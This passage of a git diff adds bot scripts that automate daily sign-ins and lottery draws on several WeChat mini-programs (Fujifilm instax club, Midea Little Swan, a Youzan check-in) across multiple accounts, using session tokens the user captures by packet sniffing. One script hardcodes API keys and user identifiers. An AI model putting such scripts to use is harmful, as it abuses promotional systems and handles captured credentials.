$.log(`抽奖[${result.data.title}]`) : ($.log(`抽奖失败`), console.log(JSON.stringify(result))) +} + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + throw error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + throw error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/富士instax玩拍由我俱乐部/2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js b/脚本库/微信小程序/抓包版/富士instax玩拍由我俱乐部/2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js new file mode 100644 index 0000000..fc90898 --- /dev/null +++ b/脚本库/微信小程序/抓包版/富士instax玩拍由我俱乐部/2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js @@ -0,0 +1,228 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%AF%8C%E5%A3%ABinstax%E7%8E%A9%E6%8B%8D%E7%94%B1%E6%88%91%E4%BF%B1%E4%B9%90%E9%83%A8.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%AF%8C%E5%A3%ABinstax%E7%8E%A9%E6%8B%8D%E7%94%B1%E6%88%91%E4%BF%B1%E4%B9%90%E9%83%A8.js +// # Repo: jdqlscript/toulu +// # Path: 富士instax玩拍由我俱乐部.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 41c9289f9387758603acba6c6dbae3067a176dbe23fec03fa97c8458575d21cb +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.11 19:19 +@Description: 富士instax玩拍由我俱乐部 小程序 每日签到+抽奖 +有问题联系3288588344 +频道:https://pd.qq.com/s/672fku8ge +------------------------------------------ +变量名instax +变量值 https://instax.app.xcxd.net.cn/ 域名Headers请求头的Authorization 去掉Bearer 多账号&或换行或新增同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("富士instax玩拍由我俱乐部"); +let ckName = `instax`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user + $.ckStatus = true; + $.userId = null + await me() + await $.wait(3000) + if ($.userId) { + await signIn() + await $.wait(3000) + await chance() + } + + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function me() { + let config = { + url: `https://instax.app.xcxd.net.cn/api/me`, + method: `GET`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": "Bearer " + $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "instax.app.xcxd.net.cn", + "Referer": "https://servicewechat.com/wx3cb572fbf3aa30c8/134/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "xweb_xhr": "1" + }, + } + let { data: result } = await Request(config); + + if (result?.error == false) { + $.userId = result.data.user.id + $.log(`[${result.data.user.nickname}] 当前积分[${result.data.user.credit}] 等级[${result.data.user.user_level_id}]`); + } else { + $.log(`获取信息 失败[${result.message}]`); + } +} +async function signIn() { + let config = { + url: `https://instax.app.xcxd.net.cn/api/user/${$.userId}/sign-activity/23/sign`, + method: `POST`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": "Bearer " + $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "instax.app.xcxd.net.cn", + "Referer": "https://servicewechat.com/wx3cb572fbf3aa30c8/134/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "xweb_xhr": "1" + }, + data: JSON.stringify({}) + } + let { data: response } = await Request(config); + if (response?.error == false) { + $.log(`签到成功`); + } else { + $.log(`签到失败[${response}]`); + } +} +async function chance() { + let config = { + url: `https://instax.app.xcxd.net.cn/api/user/${$.userId}/draw-activities/41/chance`, + method: `GET`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": "Bearer " + $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "instax.app.xcxd.net.cn", + "Referer": "https://servicewechat.com/wx3cb572fbf3aa30c8/134/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "xweb_xhr": "1" + } + } + let { data: result } = await Request(config); + if (result?.error == false) { + $.log(`查询抽奖次数 [${result.data}]`); + for (let i = 0; i < result.data; i++) { + await $.wait(3000) + await draw() + } + } else { + $.log(`查询抽奖次数 失败[${result.message}]`); + } +} +async function draw() { + let config = { + url: `https://instax.app.xcxd.net.cn/api/user/${$.userId}/draw-activities/41/draw`, + method: `POST`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Authorization": "Bearer " + $.token, + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "instax.app.xcxd.net.cn", + "Referer": "https://servicewechat.com/wx3cb572fbf3aa30c8/134/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "xweb_xhr": "1" + }, + data: JSON.stringify({}) + } + let { data: result } = await Request(config); + if (result?.error == false) { + $.log(`抽奖成功 [${result.data.record.desc}]`); + } else { + $.log(`抽奖失败[${result.message}]`); + } +} +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + //console.log(error.response.data) + return error && error.response ? error.response.data : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} diff --git a/脚本库/微信小程序/抓包版/小天鹅/2025-06-28_小天鹅_73a76dd9.py b/脚本库/微信小程序/抓包版/小天鹅/2025-06-28_小天鹅_73a76dd9.py new file mode 100644 index 0000000..6918af3 --- /dev/null +++ b/脚本库/微信小程序/抓包版/小天鹅/2025-06-28_小天鹅_73a76dd9.py @@ -0,0 +1,199 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E5%A4%A9%E9%B9%85.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E5%A4%A9%E9%B9%85.py +# Repo: jdqlscript/toulu +# Path: 小天鹅.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 73a76dd9d2c0924196e2f94ca8e1011b8e70db0010a37d6e48820a079e6cee9d +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#by:哆啦A梦 +#TL库:https://github.com/3288588344/toulu.git +#抓包midea.com域名中的imUserId和uid,格式:imUserId#uid +#将抓到的值填在环境变量XTE中,多账号换行分割 +#入口:微信小程序:全心全意小天鹅 + + +#公众号:哆啦A梦的藏宝箱 +import os +import requests +import json +import random +import time +#公众号:哆啦A梦的藏宝箱 +def check_environment_variable(): + """检查环境变量并解析账号信息""" + xte_env = os.environ.get("XTE") + if not xte_env: + print("错误:未设置 XTE 环境变量") + return None + + accounts = [] + for account_info in xte_env.split("\n"): + account_info = account_info.strip() + if not account_info: + continue + parts = account_info.split("#") + if len(parts) < 2: + print(f"错误:XTE 环境变量格式不正确,应为 imUserId#uid,当前值为:{account_info}") + return None + imUserId = parts[0] + uid = parts[1] + accounts.append((imUserId, uid)) + + if not accounts: + print("错误:未找到有效的账号信息") + return None + + return accounts + +# 获取公告信息 +def get_proclamation(): + primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + backup_url = "https://tfapi.cn/TL/tl.json" + try: + response = requests.get(primary_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + return + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}, 尝试备用链接...") + + try: + response = requests.get(backup_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 50) + print("📢 公告信息") + print("=" * 35) + print(response.text) + print("=" * 35 + "\n") + print("公告获取成功,开始执行任务...\n") + else: + print(f"⚠️ 获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") + + +def send_sign_request(imUserId, uid): + """发送签到请求""" + url = "https://weixin.midea.com/mscp_mscp/api/cms_api/activity-center-im-service/im-svr/im/game/page/sign" + + headers = { + "Connection": "keep-alive", + "Content-Type": "application/json", + "appId": "QLZZ9Fr7w2to", + "apiKey": "3660663068894a0d9fea574c2673f3c0", + "vcode": "107da4f1bb8b63c7d4ea9c5537207086", + "Origin": "https://weixin.midea.com", + "X-Requested-With": "com.tencent.mm", + "Referer": "https://weixin.midea.com/apps/h5-pro-wx-interaction-marketing/", + "Accept-Encoding": "gzip, deflate, br, zstd", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + } + + data = { + "headParams": { + "language": "CN", + "originSystem": "MCSP", + "timeZone": "", + "userCode": "", + "tenantCode": "", + "userKey": "TEST_", + "transactionId": "" + }, + "pagination": None, + "restParams": { + "gameId": 9, + "actvId": "401668349848950807", + "rootCode": "XTE", + "appCode": "XTE_SHG", + "imUserId": imUserId, + "uid": uid, + "openId": "oOqmz4uVK1_2cXwnsVHDp1vicNNY", + "unionId": "o9wX6jllxZJZxZsI0awpJS1aC8W0" + } + } + + try: + response = requests.post(url, headers=headers, data=json.dumps(data)) + return response + except requests.exceptions.RequestException as e: + print(f"请求异常: {e}") + return None + +def process_response(index, imUserId, response): + """处理签到响应""" + if response is None: + print(f"账号 {index}: {imUserId} - 请求失败") + return + + if response.status_code != 200: + print(f"账号 {index}: {imUserId} - 请求失败,状态码: {response.status_code}") + print("响应内容:", response.text) + return + + try: + response_json = response.json() + except json.JSONDecodeError: + print(f"账号 {index}: {imUserId} - 响应内容不是 JSON 格式") + print("响应内容:", response.text) + return + + if response_json.get("code") != "000000": + error_msg = response_json.get("msg", "未知错误") + print(f"账号 {index}: {imUserId} - 签到失败: {error_msg}") + return + + data_content = response_json.get("data") + if not data_content: + print(f"账号 {index}: {imUserId} - 响应数据中未找到 data 字段") + return + + sign_result = data_content.get("result") + if sign_result: + print(f"账号 {index}: {imUserId} - 签到成功!") + prize_dto = data_content.get("prizeDto") + prize_name = prize_dto.get("name", "未知奖励") if prize_dto else "未知奖励" + print(f"获得奖励: {prize_name}") + else: + print(f"账号 {index}: {imUserId} - 今日已签到") + + consecutive_days = data_content.get("consecutiveDays", "1") + print(f"连续签到天数: {consecutive_days}") + +def main(): + # 获取公告 + get_proclamation() + + # 获取账号列表 + accounts = check_environment_variable() + if not accounts: + return + + # 对账号进行排序并标注序号 + accounts.sort() + if not accounts: + print("错误:未找到有效的账号信息") + return + + # 执行签到任务 + for index, (imUserId, uid) in enumerate(accounts, start=1): + print(f"正在处理账号 {index}: ") + response = send_sign_request(imUserId, uid) + process_response(index, imUserId, response) + print("-" * 50) +#公众号:哆啦A梦的藏宝箱 + # 添加随机延迟 + delay = random.randint(3, 10) # 随机延迟3到10秒 + if index < len(accounts): + print(f"随机延迟 {delay} 秒后处理下一个账号...") + time.sleep(delay) + +if __name__ == "__main__": + main() +#公众号:哆啦A梦的藏宝箱 \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/小猴工具小程序/2025-06-28_小猴工具小程序_23314730.js b/脚本库/微信小程序/抓包版/小猴工具小程序/2025-06-28_小猴工具小程序_23314730.js new file mode 100644 index 0000000..ab081e2 --- /dev/null +++ b/脚本库/微信小程序/抓包版/小猴工具小程序/2025-06-28_小猴工具小程序_23314730.js @@ -0,0 +1,120 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%8C%B4%E5%B7%A5%E5%85%B7%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%8C%B4%E5%B7%A5%E5%85%B7%E5%B0%8F%E7%A8%8B%E5%BA%8F.js +// # Repo: jdqlscript/toulu +// # Path: 小猴工具小程序.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 233147302aa851148dfb5aba682d5cbd418b833a6102d89d969e6177da74a610 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.08 13.21 +@Description: 小猴工具小程序 +------------------------------------------ +自己先签到一次 抓请求包https://h5.youzan.com/wscump/checkin/checkinV2.json 后面Url的checkinId和请求头Headers中extra-data里面sid的值 +#拼接 多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("小猴工具小程序"); +let ckName = `Monkey_WX`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 0; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index || ++index}】 start work\n`); + $.checkInId = user.split(strSplitor)[0]; + $.sid = user.split(strSplitor)[1]; + await signIn(); + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function signIn() { + + let config = { + method: 'GET', + url: 'https://h5.youzan.com/wscump/checkin/checkinV2.json?checkinId=' + $.checkInId + '&app_id=&kdt_id=&access_token=', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220067 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'charset': 'utf-8', + 'content-type': 'application/json', + 'extra-data': '{"is_weapp":1,"sid":"' + $.sid + '","version":"2.154.3.101","client":"weapp","bizEnv":"wsc","uuid":"","ftime":""}', + 'referer': 'https://servicewechat.com/wx0451bbda59c220a8/95/page-frame.html' + } + }; + let { data: result } = await Request(config) + result?.code == 0 ? $.log(`签到成功`) : $.log(`签到失败`); console.log(JSON.stringify(result)); + +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + throw error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + throw error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/小米社区小程序签到/2025-06-28_小米社区小程序签到_3c6fe4df.py b/脚本库/微信小程序/抓包版/小米社区小程序签到/2025-06-28_小米社区小程序签到_3c6fe4df.py new file mode 100644 index 0000000..29f4040 --- /dev/null +++ 